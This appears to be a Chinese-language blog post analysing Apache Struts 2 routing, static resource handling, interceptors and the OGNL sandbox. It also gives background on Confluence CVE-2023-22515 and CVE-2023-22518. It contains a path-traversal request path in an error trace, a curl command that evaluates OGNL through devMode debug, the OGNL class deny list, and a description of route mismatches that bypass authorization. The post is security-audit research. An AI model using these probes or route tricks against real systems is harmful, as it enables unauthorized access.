org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.tryHandleRequest(StrutsPrepareAndExecuteFilter.java:140)
org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:128)
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178)
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153)
...

可以看到末尾如我们所料，从 Tomcat 调用到了 StrutsPrepareAndExecuteFilter.doFilter，虽然这是一个 Filter 但却做的是 Servlet 的事情。顾名思义，其作用主要是准备和执行，准备和执行什么呢？当然是 Action，即 Controller。

public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {

    HttpServletRequest request = (HttpServletRequest) req;
    HttpServletResponse response = (HttpServletResponse) res;

    try {
        prepare.trackRecursion(request);
        String uri = RequestUtils.getUri(request);
        if (prepare.isUrlExcluded(request, excludedPatterns)) {
            LOG.trace("Request: {} is excluded from handling by Struts, passing request to other filters", uri);
            chain.doFilter(request, response);
        } else {
            tryHandleRequest(chain, request, response, uri);
        }
    } finally {
        prepare.cleanupRequest(request);
    }
}

excludedPatterns 是 java.util.regex.Pattern 的列表，在此列表中的路径不会被 Struts 接管，而是直接放行到后续的 Filter 和 Servlet 处理。这里获取请求 URI 是通过 RequestUtils.getUri，并且以此 Uri 作为后续路由的重要依据。

org.apache.struts2.RequestUtils#getUri 的主要实现如下:

public static String getUri(HttpServletRequest request) {
    // handle http dispatcher includes.
    String uri = (String) request.getAttribute("javax.servlet.include.servlet_path");
    if (uri != null) {
        return uri;
    }

    uri = getServletPath(request);
    if (StringUtils.isNotEmpty(uri)) {
        return uri;
    }

    uri = request.getRequestURI();
    return uri.substring(request.getContextPath().length());
}

public static String getServletPath(HttpServletRequest request) {
    String servletPath = request.getServletPath();
    
    String requestUri = request.getRequestURI();
    // Detecting other characters that the servlet container cut off (like anything after ';')
    if (requestUri != null && servletPath != null && !requestUri.endsWith(servletPath)) {
        int pos = requestUri.indexOf(servletPath);
        if (pos > -1) {
            servletPath = requestUri.substring(requestUri.indexOf(servletPath));
        }
    }

    if (StringUtils.isNotEmpty(servletPath)) {
        return servletPath;
    }
    
    int startIndex = request.getContextPath().equals("") ? 0 : request.getContextPath().length();
    int endIndex = request.getPathInfo() == null ? requestUri.length() : requestUri.lastIndexOf(request.getPathInfo());

    if (startIndex > endIndex) { // this should not happen
        endIndex = startIndex;
    }

    return requestUri.substring(startIndex, endIndex);
}

按顺序看，其获取 URI 的优先级如下:

  1. request.getAttribute(“javax.servlet.include.servlet_path”);
  2. request.getServletPath();
  3. request.getRequestURI() 通过 request.getServletPath() 计算的子字符串；
  4. request.getRequestURI() 通过 request.getContextPath() 和 request.getPathInfo() 计算的子字符串；
  5. request.getRequestURI() 通过 request.getContextPath() 计算的子字符串；

其中大部分情况下会落到 2 或者 3 的返回结果上。getServletPath 是容器最终用于寻址 Servlet 的路径，即经过 normalize 和删除路径参数等操作的结果，在 Tomcat 中还进行了 URL 解码，可以认为是相对安全的。但 Struts 拓展了 getServletPath 方法，还是从 requestURI 进行了一次判断并执行 substring 操作，因此我们可以很大程度上控制 getUri 的返回结果，至于有什么影响要看后面具体的路由逻辑。

handleRequest 主要分成两个阶段，先是处理静态资源文件，然后才是对于动态路由的处理，如下所示:

private void tryHandleRequest(FilterChain chain, HttpServletRequest request, HttpServletResponse response, String uri) throws IOException, ServletException {
    LOG.trace("Checking if: {} is a static resource", uri);
    boolean handled = execute.executeStaticResourceRequest(request, response);
    if (!handled) {
        LOG.trace("Uri: {} is not a static resource, assuming action", uri);
        handleRequest(chain, request, response, uri);
    }
}

我们分别对二者进行分析。

静态资源的处理逻辑主要是 executeStaticResourceRequest:

public boolean executeStaticResourceRequest(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
    // there is no action in this request, should we look for a static resource?
    String resourcePath = RequestUtils.getServletPath(request);

    if ("".equals(resourcePath) && null != request.getPathInfo()) {
        resourcePath = request.getPathInfo();
    }

    StaticContentLoader staticResourceLoader = dispatcher.getContainer().getInstance(StaticContentLoader.class);
    if (staticResourceLoader.canHandle(resourcePath)) {
        staticResourceLoader.findStaticResource(resourcePath, request, response);
        // The framework did its job here
        return true;

    } else {
        // this is a normal request, let it pass through
        return false;
    }
}

其中值得关注的点是对于静态资源路径，这里使用的是没有经过其他处理的 getServletPath。通过 StaticContentLoader 先判断是否可以处理对应路径:

// org.apache.struts2.dispatcher.DefaultStaticContentLoader#canHandle
public boolean canHandle(String resourcePath) {
    return serveStatic && resourcePath.startsWith(uiStaticContentPath + "/");
}

uiStaticContentPath 默认是 /static，可以由开发者自行配置。因此这里仅判断请求路径是否以 /static/ 开头，而没有判断文件是否存在。注意一旦 canHandle 返回 true，那么后续即便找不到资源也不会继续后续的动态路由查找，而是直接返回 404 结束请求。

DefaultStaticContentLoader#findStaticResource 基本上是使用 ClassLoader.getResource，但有一些特殊的处理:

public void findStaticResource(String path, HttpServletRequest request, HttpServletResponse response)
    throws IOException {
    String name = cleanupPath(path);
    for (String pathPrefix : pathPrefixes) {
        URL resourceUrl = findResource(buildPath(name, pathPrefix));
        if (resourceUrl != null) {
            InputStream is = null;
            try {
                //check that the resource path is under the pathPrefix path
                String pathEnding = buildPath(name, pathPrefix);
                if (resourceUrl.getFile().endsWith(pathEnding))
                    is = resourceUrl.openStream();
            } catch (IOException ex) {
                // just ignore it
                continue;
            }

            //not inside the try block, as this could throw IOExceptions also
            if (is != null) {
                process(is, path, request, response);
                return;
            }
        }
    }
    response.sendError(HttpServletResponse.SC_NOT_FOUND);
}

首先是 cleanupPath 对路径又做了一次清理，作用是删除 /static 前缀:

protected String cleanupPath(String path) {
    if (path.startsWith(uiStaticContentPath)) {
        return path.substring(uiStaticContentPath.length());
    } else {
        return path;
    }
}

然后是通过 pathPrefixes 数组去构建实际的资源路径去循环进行查找，动态调试 pathPrefixes 的值有:

  • org/apache/struts2/static/
  • template/
  • static/
  • org/apache/struts2/interceptor/debugging/

buildPath 的实现比较有意思:

protected String buildPath(String name, String packagePrefix) throws UnsupportedEncodingException {
    String resourcePath;
    if (packagePrefix.endsWith("/") && name.startsWith("/")) {
        resourcePath = packagePrefix + name.substring(1);
    } else {
        resourcePath = packagePrefix + name;
    }

    return URLDecoder.decode(resourcePath, encoding);
}

其中对组合的 URL 路径又进行了一次 URL 解码。根据我们之前的文章可知，HttpServletRequest.getServletPath 已经是经过一次 URL 解码的了，因此这里实际上进行了二次解码！

因此这里可能会出现路径穿越的问题，不过这里已经进行了额外的判断:

String pathEnding = buildPath(name, pathPrefix);
if (resourceUrl.getFile().endsWith(pathEnding))
    is = resourceUrl.openStream();

根据 commit 日志，发现这个修改确实也是为了修复路径穿越的问题，详见 WW-2779 Directory traversal vulnerability while serving static content。

不过，即便能绕过这里的检查，在 Servlet 容器层还有一层校验，以 Tomcat 为例，其会对超出根路径的静态资源请求抛出异常:

java.lang.IllegalArgumentException: 资源路径[/WEB-INF/classes/static/../../../../../etc/hosts]已规范化为无效的[null]
org.apache.catalina.webresources.StandardRoot.validate(StandardRoot.java:258)
org.apache.catalina.webresources.StandardRoot.getResource(StandardRoot.java:207)
org.apache.catalina.webresources.StandardRoot.getClassLoaderResource(StandardRoot.java:220)
org.apache.catalina.loader.WebappClassLoaderBase.findResource(WebappClassLoaderBase.java:954)
org.apache.catalina.loader.WebappClassLoaderBase.getResource(WebappClassLoaderBase.java:1078)
com.opensymphony.xwork2.util.ClassLoaderUtil.getResource(ClassLoaderUtil.java:108)
org.apache.struts2.dispatcher.DefaultStaticContentLoader.findResource(DefaultStaticContentLoader.java:305)
org.apache.struts2.dispatcher.DefaultStaticContentLoader.findStaticResource(DefaultStaticContentLoader.java:213)
org.apache.struts2.dispatcher.ExecuteOperations.executeStaticResourceRequest(ExecuteOperations.java:59)
org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.tryHandleRequest(StrutsPrepareAndExecuteFilter.java:137)
org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:128)

从中也可以看到 getResource 确实是通过 Tomcat 的 ClassLoader 实现的。

如果前面判断目标路由不是静态资源，那么就会进行实际的路由查找和调用:

private void handleRequest(FilterChain chain, HttpServletRequest request, HttpServletResponse response, String uri) throws ServletException, IOException {
    prepare.setEncodingAndLocale(request, response);
    prepare.createActionContext(request, response);
    prepare.assignDispatcherToThread();

    HttpServletRequest wrappedRequest = prepare.wrapRequest(request);
    try {
        ActionMapping mapping = prepare.findActionMapping(wrappedRequest, response, true);
        if (mapping == null) {
            LOG.trace("Cannot find mapping for: {}, passing to other filters", uri);
            chain.doFilter(request, response);
        } else {
            LOG.trace("Found mapping: {} for: {}", mapping, uri);
            execute.executeAction(wrappedRequest, response, mapping);
        }
    } finally {
        prepare.cleanupWrappedRequest(wrappedRequest);
    }
}

这里看似分成了两步，findActionMapping 查找路由，executeAction 执行路由。但实际上 ActionMapping 只是一个简单的封装类，保存请求的路由(action)、命名空间(namespace)、后缀、请求参数等数据。实际从 URI 到 Action 的映射还是在 executeAction 中实现。

findActionMapping 核心实现为 org.apache.struts2.dispatcher.mapper.DefaultActionMapper#getMapping:

public ActionMapping getMapping(HttpServletRequest request, ConfigurationManager configManager) {
    ActionMapping mapping = new ActionMapping();
    String uri = RequestUtils.getUri(request);

    int indexOfSemicolon = uri.indexOf(';');
    uri = (indexOfSemicolon > -1) ? uri.substring(0, indexOfSemicolon) : uri;

    uri = dropExtension(uri, mapping);
    if (uri == null) {
        return null;
    }

    parseNameAndNamespace(uri, mapping, configManager);
    handleSpecialParameters(request, mapping);
    extractMethodName(mapping, configManager);
    return parseActionName(mapping);
}

关键点如下:

  1. 使用 RequestUtils.getUri 获取 URI，前面介绍过这个方法，存在一定的可利用性；
  2. 手动删除分号，即删除最后一个分号及其之后的所有内容；
  3. dropExtension 删除 URI 中的后缀，并设置 mapping.extension；
  4. parseNameAndNamespace 负责设置设置 mapping.name 和 mapping.namespace；

parseNameAndNamespace 中通过遍历 Configuration#getPackageConfigs 里所有的 PackageConfig 配置，查找 URI 可能匹配的目标，然后获取其 namespace；而获取 actionName 的时候，是通过获取最后一个 / 之后的字符串作为名称，也就是说 URI / 之前的内容是不影响路由结果的:

// ...
if (!allowSlashesInActionNames) {
    int pos = actionName.lastIndexOf('/');
    if (pos > -1 && pos < actionName.length() - 1) {
        actionName = actionName.substring(pos + 1);
    }
}
mapping.setNamespace(cleanupNamespaceName(actionNamespace));
mapping.setName(cleanupActionName(actionName));

最后调用 setter 之前还调用了以下 cleanup 方法，这其中对名称进行了正则检查，以 cleanupActionName 为例:

protected String cleanupActionName(final String rawActionName) {
    if (allowedActionNames.matcher(rawActionName).matches()) {
        return rawActionName;
    } else {
        LOG.warn("{} did not match allowed action names {} - default action {} will be used!", rawActionName, allowedActionNames, defaultActionName);
        return defaultActionName;
    }
}

allowedActionNames 是 [a-zA-Z0-9._!/\-]*，对于不匹配的字符串，会直接返回默认的 defaultActionName，即 index。

handleSpecialParameters 使用前缀匹配请求参数的方式对一些特殊参数进行处理，主要是 org.apache.struts2.dispatcher.mapper.DefaultActionMapper 默认构造函数中注册的 action:* 以及 method:* 参数，用于调用自定义的 action 和方法。但是这两个默认配置都是不启用的，即便开启了动态调用，也需要开发者手动在 <allowed-methods> 中指定允许调用的方法名称。

parseActionName 中也有类似处理，如果支持动态方法(allowDynamicMethodCalls)，那么 actionName 可以是 foo!method 格式，通过感叹号指定要调用的方法。同时方法名通过 mapping.setMethod 进行设置。

findActionMapping 提取出对应的 ActionMapping 信息之后，开始通过 executeAction 进行调用。回顾我们开头 404 页面返回的堆栈信息，可知在 ActionProxy.prepare 时进行实际 Controller(Action) 的查找。所谓 ActionProxy 实际是我们定义的 Action 的封装。

实际路由查找通过 DefaultConfiguration.RuntimeConfigurationImpl#getActionConfig 实现:

public ActionConfig getActionConfig(String namespace, String name) {
    ActionConfig config = findActionConfigInNamespace(namespace, name);

    // try wildcarded namespaces
    if (config == null) {
        NamespaceMatch match = namespaceMatcher.match(namespace);
        if (match != null) {
            config = findActionConfigInNamespace(match.getPattern(), name);

            // If config found, place all the matches found in the namespace processing in the action's parameters
            if (config != null) {
                config = new ActionConfig.Builder(config)
                        .addParams(match.getVariables())
                        .build();
            }
        }
    }

    // fail over to empty namespace
    if (config == null && StringUtils.isNotBlank(namespace)) {
        config = findActionConfigInNamespace("", name);
    }

    return config;
}

其中执行最终查找 ActionConfig 的方法是 findActionConfigInNamespace。注意上面的代码中依次有三种查找策略:

  1. 直接在 namespace 中精确查找 name；
  2. 如果没有找到，则判断是否定义正则匹配 patternMatcher，如果存在则使用模糊(正则)查找；
  3. 如果还没找到，则会在默认的空命名空间中查找。

在 Struts 官方文档中也有提及，见 Namespace Configuration 一节:

The default namespace is "" - an empty string. The default namespace is used as a “catch-all” namespace. If an action configuration is not found in a specified namespace, the default namespace is also be searched.

这个特性的目的是为了实现 local/global 的设计模式，即先查找局部路由实现，如果找不到就使用全局实现。注意这只是二阶段的查找，如果存在多级的命名空间如 /foo/bar/demo.action，在 /foo/bar 中查找不到 demo.action 后会直接跳到默认命名空间去查找，而不是跳到命名空间 /foo 进行查找。

private ActionConfig findActionConfigInNamespace(String namespace, String name) {
    ActionConfig config = null;
    if (namespace == null) {
        namespace = "";
    }
    Map<String, ActionConfig> actions = namespaceActionConfigs.get(namespace);
    if (actions != null) {
        config = actions.get(name);
        // Check wildcards
        if (config == null) {
            config = namespaceActionConfigMatchers.get(namespace).match(name);
            // fail over to default action
            if (config == null) {
                String defaultActionRef = namespaceConfigs.get(namespace);
                if (defaultActionRef != null) {
                    config = actions.get(defaultActionRef);
                }
            }
        }
    }
    return config;
}

这里主要是使用一个二级哈希表(namespaceActionConfigs)进行查找，其中第一级的 key 为 namespace，第二级的 key 则是实际路由的路径。

注意 namespaceActionConfigs 这个哈希表中包含 namespace 对应的所有 action，除了包含当前 <package> 中定义的 action，还包括通过 extends 属性继承的父 package 中的所有 action。这也是一个路由的变异特性，后面我们介绍 Confluence 的 CVE-2023-22518 时会详细分析。

当然也不仅仅是哈希表的精确匹配，二级的 action 查找也支持使用 ActionConfigMatchers 去进行通配符匹配。ActionConfig 中包含了执行 action 所需要的所有信息，包括 Action 的类名、方法名、结果映射、拦截器列表等。

org.apache.struts2.dispatcher.Dispatcher#serviceAction 可以理解为分发请求的枢纽，获取到 ActionProxy 后负责进行调用并处理可能的异常结果:

    public void serviceAction(HttpServletRequest request, HttpServletResponse response, ActionMapping mapping)
        throws ServletException {
// ...
try {
    ActionProxy proxy = prepareActionProxy(extraContext, actionNamespace, actionName, actionMethod);
    if (mapping.getResult() != null) {
        Result result = mapping.getResult();
        result.execute(proxy.getInvocation());
    } else {
        proxy.execute();
    }

    } catch (ConfigurationException e) {
        logConfigurationException(request, e);
        sendError(request, response, HttpServletResponse.SC_NOT_FOUND, e);
    } catch (Exception e) {
        if (handleException || devMode) {
            if (devMode) {
                LOG.debug("Dispatcher serviceAction failed", e);
            }
            sendError(request, response, HttpServletResponse.SC_INTERNAL_SERVER_ERROR, e);
        } else {
            throw new ServletException(e);
        }
    }
}

在 DefaultActionInvocation#invoke 中进行了拦截器和 Action 的调用:

public String invoke() throws Exception {
    // ...
    if (interceptors.hasNext()) {
        // 见下节 ...
    } else {
        resultCode = invokeActionOnly();
    }
}

Interceptors 依次调用完后，后续会调用 invokeActionOnly 去调用我们实际的 Action，这里贴一下后续的调用栈，Register 为我们定义的 ActionSupport 示例:

execute:26, Register (org.apache.struts.register.action)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:566, Method (java.lang.reflect)
invokeMethodInsideSandbox:1245, OgnlRuntime (ognl)
invokeMethod:1230, OgnlRuntime (ognl)
callAppropriateMethod:1958, OgnlRuntime (ognl)
callMethod:68, ObjectMethodAccessor (ognl)
callMethodWithDebugInfo:98, XWorkMethodAccessor (com.opensymphony.xwork2.ognl.accessor)
callMethod:90, XWorkMethodAccessor (com.opensymphony.xwork2.ognl.accessor)
callMethod:2034, OgnlRuntime (ognl)
getValueBody:97, ASTMethod (ognl)
evaluateGetValueBody:212, SimpleNode (ognl)
getValue:258, SimpleNode (ognl)
getValue:586, Ognl (ognl)
getValue:550, Ognl (ognl)
lambda$callMethod$2:593, OgnlUtil (com.opensymphony.xwork2.ognl)
execute:-1, 1400623756 (com.opensymphony.xwork2.ognl.OgnlUtil$$Lambda$300)
compileAndExecuteMethod:636, OgnlUtil (com.opensymphony.xwork2.ognl)
callMethod:593, OgnlUtil (com.opensymphony.xwork2.ognl)
invokeAction:434, DefaultActionInvocation (com.opensymphony.xwork2)
invokeActionOnly:307, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:259, DefaultActionInvocation (com.opensymphony.xwork2)
// ...

值得一提的是，对于 Action 的调用，实际也是通过 OGNL 执行的:

protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
    String methodName = proxy.getMethod();

    LOG.debug("Executing action method = {}", methodName);
    Object methodResult;
    methodResult = ognlUtil.callMethod(methodName + "()", getStack().getContext(), action);
    // ...
}

这样的好处是提供一定的灵活性，可以在配置文件中或者动态指定所要调用的 Action 方法，但同时也引入了一定的安全隐患。最初这里是使用 OgnlUtil::getValue() 来进行调用，在 S2-032、S2-033 和 S2-037 这几个漏洞之后才使用 callMethod 进行替换。callMethod 内部会执行 checkSimpleMethod 检查从而防止 OGNL 注入攻击，详见 CVE-2018-11776: How to find 5 RCEs in Apache Struts with CodeQL。

回顾本节开头的大图，在 ActionProxy 调用过程中，Interceptors(拦截器) 起到了重要的作用，关于拦截器的实现和作用可以参考官方的资料:

前文说过在 DefaultActionInvocation#invoke 中进行了拦截器和 Action 的调用:

public String invoke() throws Exception {
    // ...
    if (interceptors.hasNext()) {
        final InterceptorMapping interceptorMapping = interceptors.next();
        Interceptor interceptor = interceptorMapping.getInterceptor();
        if (interceptor instanceof WithLazyParams) {
            interceptor = lazyParamInjector.injectParams(interceptor, interceptorMapping.getParams(), invocationContext);
        }
        if (interceptor instanceof ConditionalInterceptor) {
            resultCode = executeConditional((ConditionalInterceptor) interceptor);
        } else {
            LOG.debug("Executing normal interceptor: {}", interceptorMapping.getName());
            resultCode = interceptor.intercept(this);
        }
    } else {
        resultCode = invokeActionOnly();
    }
}

Interceptors 依次调用完后，后续会调用 invokeActionOnly 去调用我们实际的 Action。

这里 interceptors 属性是个 InterceptorMapping 数组，只有三个关键属性:

public class InterceptorMapping implements Serializable {
    private String name;
    private Interceptor interceptor;
    private final Map<String, String> params;
}

一部分拦截器是开发者注册的，另外一部分则是 Struts 框架默认加入的，定义在 struts-default.xml 中。name 为拦截器的友好名称，params 则提供了一定程度上针对该拦截器的配置能力。

上述调用看似是循环，但实际上却使用的是递归，因为在 Interceptor 中为了实现分别在 action 之前和之后执行代码，会调用 ActionInvocation.invoke()，即 intercept() 的第一个参数，用于调用下一个拦截器或者是 Action。

以我们最常见的 ParametersInterceptor 为例，其继承自 MethodFilterInterceptor，最终会调用到下述 doIntercept 方法:

public String doIntercept(ActionInvocation invocation) throws Exception {
    // ...
    ActionContext ac = invocation.getInvocationContext();
    HttpParameters parameters = retrieveParameters(ac);
    if (parameters != null) {
        Map<String, Object> contextMap = ac.getContextMap();
        try {
            ReflectionContextState.setCreatingNullObjects(contextMap, true);
            ReflectionContextState.setDenyMethodExecution(contextMap, true);
            ReflectionContextState.setReportingConversionErrors(contextMap, true);

            ValueStack stack = ac.getValueStack();
            setParameters(action, stack, parameters);
        } finally {
            ReflectionContextState.setCreatingNullObjects(contextMap, false);
            ReflectionContextState.setDenyMethodExecution(contextMap, false);
            ReflectionContextState.setReportingConversionErrors(contextMap, false);
        }
    }
    return invocation.invoke();
}

setParameters 经过一系列调用，最终使用 ognl.Ognl#setValue 对请求上下文进行赋值，即通过请求参数实现调用 Action 中定义的 setter 设置对应 POJO 对象的值，从而完成从 HTTP 到 Java 的参数绑定。

// com.opensymphony.xwork2.ognl.OgnlUtil#setValue
public void setValue(final String name, final Map<String, Object> context, final Object root, final Object value) throws OgnlException {
    compileAndExecute(name, context, (OgnlTask<Void>) tree -> {
        if (isEvalExpression(tree, context)) {
            throw new OgnlException("Eval expression/chained expressions cannot be used as parameter name");
        }
        if (isArithmeticExpression(tree, context)) {
            throw new OgnlException("Arithmetic expressions cannot be used as parameter name");
        }
        Ognl.setValue(tree, context, root, value);
        return null;
    });
}

注意其中使用了 OGNL 作为参数绑定的实现，因此在参数名、参数值中都可能出现 OGNL 注入。相较之下 Spring Framework 则是通过反射来实现参数绑定，虽然代码实现更繁琐，但也确实更安全一些。

OGNL

Struts 在许多地方都用到了 OGNL 作为表达式去实现功能，历史上也出现过许多 OGNL 注入相关的漏洞。

除了修复漏洞点本身，Strtus 也对 OGNL 引擎做了一些拓展，比如实现 ognl.MemberAccess 为 SecurityMemberAccess 来管理 OGNL 的一些敏感操作。

关于 Struts OGNL 相关漏洞以及修复历史，已经有很多优秀的介绍文章了，感兴趣可以参考:

我们直接说现状，在当前版本中，SecurityMemberAccess 包含一系列黑名单来防止敏感类、包名的访问，同时配置禁止访问静态变量:

public class SecurityMemberAccess implements MemberAccess {
    private final boolean allowStaticFieldAccess;
    private Set<Pattern> excludeProperties = Collections.emptySet();
    private Set<Pattern> acceptProperties = Collections.emptySet();
    private Set<Class<?>> excludedClasses = Collections.emptySet();
    private Set<Pattern> excludedPackageNamePatterns = Collections.emptySet();
    private Set<String> excludedPackageNames = Collections.emptySet();
    private Set<Class<?>> excludedPackageExemptClasses = Collections.emptySet();
    private boolean disallowProxyMemberAccess;
    // ...
}

SecurityMemberAccess#isAccessible 中指定了访问的 member(Method) 限制:

  1. 禁止访问非 public 的 member；
  2. 禁止访问静态 field member，即静态属性，可通过 disallowProxyMemberAccess 配置；
  3. 禁止访问静态 method member，即静态方法；
  4. 检查 isClassExcluded 黑名单；
  5. 检查 isPackageExcluded 黑名单；
  6. 禁止访问 ProxyMember，可通过 disallowProxyMemberAccess 配置；

这些名单的设置是在 OgnlUtil#createDefaultContext 中:

protected Map<String, Object> createDefaultContext(Object root, ClassResolver classResolver) {
    ClassResolver resolver = classResolver;
    if (resolver == null) {
        resolver = container.getInstance(CompoundRootAccessor.class);
    }

    SecurityMemberAccess memberAccess = new SecurityMemberAccess(allowStaticFieldAccess);
    memberAccess.setDisallowProxyMemberAccess(disallowProxyMemberAccess);

    if (devMode) {
        if (!warnReported.get()) {
            warnReported.set(true);
            LOG.warn("Working in devMode, using devMode excluded classes and packages!");
        }
        memberAccess.setExcludedClasses(devModeExcludedClasses);
        memberAccess.setExcludedPackageNamePatterns(devModeExcludedPackageNamePatterns);
        memberAccess.setExcludedPackageNames(devModeExcludedPackageNames);
        memberAccess.setExcludedPackageExemptClasses(devModeExcludedPackageExemptClasses);
    } else {
        memberAccess.setExcludedClasses(excludedClasses);
        memberAccess.setExcludedPackageNamePatterns(excludedPackageNamePatterns);
        memberAccess.setExcludedPackageNames(excludedPackageNames);
        memberAccess.setExcludedPackageExemptClasses(excludedPackageExemptClasses);
    }

    return Ognl.createDefaultContext(root, memberAccess, resolver, defaultConverter);
}

调用时机是第一次使用 OgnlUtil 设置属性即应用启动并载入 struts.xml 中的 interceptors 的时候。这些列表的值通过属性定义在 struts 源码的配置文件中: core/src/main/resources/struts-excluded-classes.xml。例如 excludedClasses:

<constant name="struts.excludedClasses"
            value="
            java.lang.Object,
            java.lang.Runtime,
            java.lang.System,
            java.lang.Class,
            java.lang.ClassLoader,
            java.lang.Shutdown,
            java.lang.ProcessBuilder,
            java.lang.Thread,
            sun.misc.Unsafe,
            com.opensymphony.xwork2.ActionContext"/>

当然更严格的限制还是 excludedPackageNames，通过包名前缀去限制 OGNL 的访问。注意 excludedPackageNamePatterns 目前实际上是无用的，属于是历史遗留产物，因为前者现在已经替代了正则表达式的黑名单。

历史上的 OGNL 攻防花样百出，有尝试通过调用构造函数执行命令的，有尝试通过 OGNL 修改配置开启静态方法的，也有通过配置修改黑名单的，本质上还是想绕过上述 isAccessible 的限制。从目前的情况来看，Struts 对于 OGNL 的防御还是基于黑名单，那么是否能够完全防御代码注入攻击呢？这个就见仁见智了。

如果想要测试 Struts 的 OGNL 沙箱，可以在 struts.devMode 为 true 的情况下，直接通过请求任意路由加 debug 参数去执行 OGNL 代码:

curl 'http://localhost:8888/basic_struts_war/index.action' --data-raw 'debug=command&expression=3*4'

CVE-2023-22515

文章开头的时候说了，笔者研究 Struts 主要是因为最近碰到了 confluence 的这个漏洞。confluence 由 Atlassian 开发是一个知识库管理服务，支持本地部署，其 Web 框架主要基于 Struts 2。

关于该漏洞的详细分析可以参考下面的文章:

这里笔者对其中的细节就不过多复述了，而是结合 Struts 的特性来补充一些前置知识。

前面说过，Struts 中有许多 Interceptors 在 Action 前后会被进行调用，其中 ParametersInterceptor 尤为特殊，因为其会自动将 HTTP 的请求参数绑定到 Java bean 上，这是 XWork 框架的一大特性，但同时也带来了潜在的安全问题。因为这种情况下用户定义的 Action 中只要有 public getter 的属性都可能被 HTTP 请求进行访问和修改，甚至支持多级复杂的操作。

Confluence 的开发者作为 Struts 资深用户，自然早已知道这个问题，因此特地引入了 SafeParametersInterceptor 用于替换原始的 ParametersInterceptor。按照其设想，只有主动添加了 @ParameterSafe 的参数才能进行复杂操作，这个 annotation 可以加在 POJO 类的定义上，也可以加到 Action 中的 getter 上，比如:

@ParameterSafe
public FormData getFormData() { 
   return formData; 
}

或者:

@ParameterSafe
public class FormData {
   // ...
}

详见 XWork Plugin Complex Parameters and Security - Atlassian Developer。

只可惜，在近期的某个版本更新中，SafeParametersInterceptor 的实现出现了逻辑错误，导致参数过滤实际并不生效。因此攻击者通过查找合适的 Action，并且通过其中的 getter/setter 逐级访问，最终修改了重要的内存设置，使得攻击者可以成功发起添加管理员的请求。

虽然漏洞已经修复，但从中我们依然可以学习到一些重要的经验:

  1. 对于 Struts Action 公开 getter 属性所返回的对象要重点关注，尤其注意这些对象中带有的 setter 方法；
  2. 有些对象可能带有隐含的 getter 和 setter 方法，比如 Lombok 修饰的对象或者 Spring Bean 等，这类属性可能会被开发者忽略；
  3. 单元测试/回归测试很重要，如果 SafeParametersInterceptor 带有正确的单元测试，那将可以将这类严重的逻辑问题扼杀在摇篮中；

CVE-2023-22518

我们在前面分析 ActionProxy 查找时说到 namespaceActionConfigs 哈希表中包含 namespace 对应的所有 action，除了包含当前 <package> 中定义的 action，还包括通过 extends 属性继承的父 package 中的所有 action。

例如，对于 CVE-2023-22518 漏洞而言，在 struts.xml 中有以下配置:

<package name="default"></pacakge>
<package name="setup" extends="default" namespace="/setup">
    <action name="setup-restore" class="com.atlassian.confluence.importexport.actions.SetupRestoreAction">
    </action>
</package>
<package name="admin" extends="setup" namespace="/admin">
    <action name="console" class="com.atlassian.confluence.admin.actions.AdministrationConsoleAction" method="doDefault">
    </action>
</pacakge>
<package name="json" extends="admin" namespace="/json"></pacakge>

那么请求 /json/console 实际上可以路由到 /admin/console，而请求 /json/setup-restore 也可以路由到 /setup/setup-restore! 这显然不是开发者所预期的 URI 路径，因此如果鉴权时没有考虑这个场景，就有可能造成漏洞。

在本次更新中，对于这类问题的修复是增加了两个注解 @SystemAdminOnly 和 @WebSudoRequired，例如对于 SetupRestoreAction 的更新如下:

diff --git a/com/atlassian/confluence/importexport/actions/SetupRestoreAction.java b/com/atlassian/confluence/importexport/actions/SetupRestoreAction.java
index 8b64751..6c307ce 100644
--- a/com/atlassian/confluence/importexport/actions/SetupRestoreAction.java
+++ b/com/atlassian/confluence/importexport/actions/SetupRestoreAction.java
@@ -1,5 +1,6 @@
 package com.atlassian.confluence.importexport.actions;

+import com.atlassian.confluence.impl.security.SystemAdminOnly;
 import com.atlassian.confluence.importexport.DefaultImportContext;
 import com.atlassian.confluence.importexport.ImportExportException;
 import com.atlassian.confluence.importexport.impl.ExportDescriptor;
@@ -8,6 +9,7 @@ import com.atlassian.confluence.importexport.impl.UnexpectedImportZipFileContent
 import com.atlassian.confluence.tenant.OpenTenantGateLongRunningTask;
 import com.atlassian.confluence.util.HtmlUtil;
 import com.atlassian.core.task.longrunning.LongRunningTask;
+import com.atlassian.sal.api.websudo.WebSudoRequired;
 import com.atlassian.xwork.HttpMethod;
 import com.atlassian.xwork.PermittedMethods;
 import com.atlassian.xwork.RequireSecurityToken;
@@ -16,6 +18,8 @@ import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;

 @Deprecated
+@WebSudoRequired
+@SystemAdminOnly
 public class SetupRestoreAction extends RestoreAction {
    private static final Logger log = LoggerFactory.getLogger(SetupRestoreAction.class);

当然还有很多其他的 Action 也做了修复，关于该漏洞的细节比如 Confluence 的鉴权实现和漏洞利用流程，可以参考其他的文章，本文仅讨论 Struts 本身。除了上面这类继承导致的路由错配，还有前面说过的默认命名空间作为兜底也会匹配其他命名空间找不到的 action，这对自己实现 URI 鉴权的开发者而言是一个需要注意的陷阱。

相关参考:

Debugging Tips

前面大致介绍了 Struts 的内部实现，从中我们可以通过对框架的深入理解来给日常的工作进行提效。例如在对基于 Struts 的应用进行安全审计时，一个常见的任务是获取所有路由列表。根据前面的分析，我们有两个地方可以选择，一是在 PrepareOperations.findActionMapping 初步查找映射时，二是在 Dispatcher.prepareActionProxy 实际获取 ActionProxy 的时候。

这二者本质上都是从 ConfigurationManager 获取到实际的配置:

configManager.getConfiguration().getPackageConfigs()

